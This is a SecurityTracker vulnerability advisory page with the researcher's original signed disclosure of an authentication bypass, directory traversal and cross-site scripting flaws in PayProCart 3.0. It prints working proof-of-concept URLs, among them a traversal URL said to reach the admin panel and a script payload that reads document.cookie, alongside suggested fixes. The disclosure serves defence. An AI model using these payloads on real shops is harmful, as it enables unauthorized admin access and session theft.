SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Commerce)  >   PayProCart Vendors:   profitCode Software
PayProCart Authentication Bug Grants Remote Users Administrative Access and Input Validation Hole Permits Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1013640
SecurityTracker URL:  http://securitytracker.com/id/1013640
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 4 2005
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 3.0
Description:   Diabolic Crab reported a vulnerability in PayProCart. A remote user can gain administrative access. A remote user can also conduct cross-site scripting attacks.

A remote user can supply a specially crafted URL with a 'ftoedit' parameter containing '..' directory traversal characters to gain administrative access on the application.

A demonstration exploit URL is provided:

http://[target]/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG

A remote user can also supply a specially crafted 'modID' value to cause the system to disclose the installation path. A demonstration exploit URL is provided:

http://[target]/index.php?modID=../EVIL_VALUE

The 'usrdetails.php' script does not properly validate user-supplied input in the 'sgnuptype' parameter. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the PayProCart software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit URL is provided:

http://[target]/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the PayProCart software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A remote user can gain administrative privileges on the target application.

A remote user can determine the installation path.

Solution:   No solution was available at the time of this entry.
Vendor URL:  www.profitcode.net/products/payprocart.html (Links to External Site)
Cause:   Access control error, Authentication error, Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Authenticaion bypass, Directory transversal and XSS vulnerabilities in PayProCart 3.0 - Profitcode Software



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
 
Dcrab 's Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
 
Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at 
http://www.digitalparadox.org/services.ah
 
Severity: High
Title: Authenticaion bypass, Directory transversal and XSS vulnerabilities in 
PayProCart 3.0 - Profitcode Software
Date: 05/04/2005
 
Vendor: ProftCode Softwares
Vendor Website: http://www.profitcode.net
Summary: There are, authenticaion bypass, directory transversal and xss 
vulnerabilities in payprocart 3.0 - profitcode software.
 
Proof of Concept Exploits:
 
http://localhost/index.php?modID=../EVIL_VALUE
Directory Transversal
Warning: main(tplates/../EVIL_VALUE.php) [function.main]: failed to open stream: No 
such file or directory in /home/*******/web/*******/index.php on line 159
 

Warning: main() [function.include]: Failed opening 'tplates/../EVIL_VALUE.php' for 
inclusion (include_path='.:/usr/local/lib/php') in 
/home/*******/web/*******/index.php on line 159
 
http://localhost/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Pops Cookie
 

http://localhost/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG
Authentication Bypass, Gives access to Admin control panel
After a couple seconds press stop and done, look done at the last screen, thats the 
administration panel, you now have admin access to the shopping cart.
 

Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), 
mysql_real_escape_string() and other functions for input validation before passing 
user input to the mysql database, or before echoing data on the screen, would solve 
these problems.
 
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
 
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: 
dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to
contact me regarding these vulnerabilities. You can find me at, 
http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to 
come out book on Secure coding with php.
-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
 
iQA/AwUBQlFhqSZV5e8av/DUEQIgwACgxNEQ+C4Sy3x6of/R5CF+klPpNEEAoJi3
UzBEsLKM5uDraMzb/rNUUrRU
=zUyN
-----END PGP SIGNATURE-----
 
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC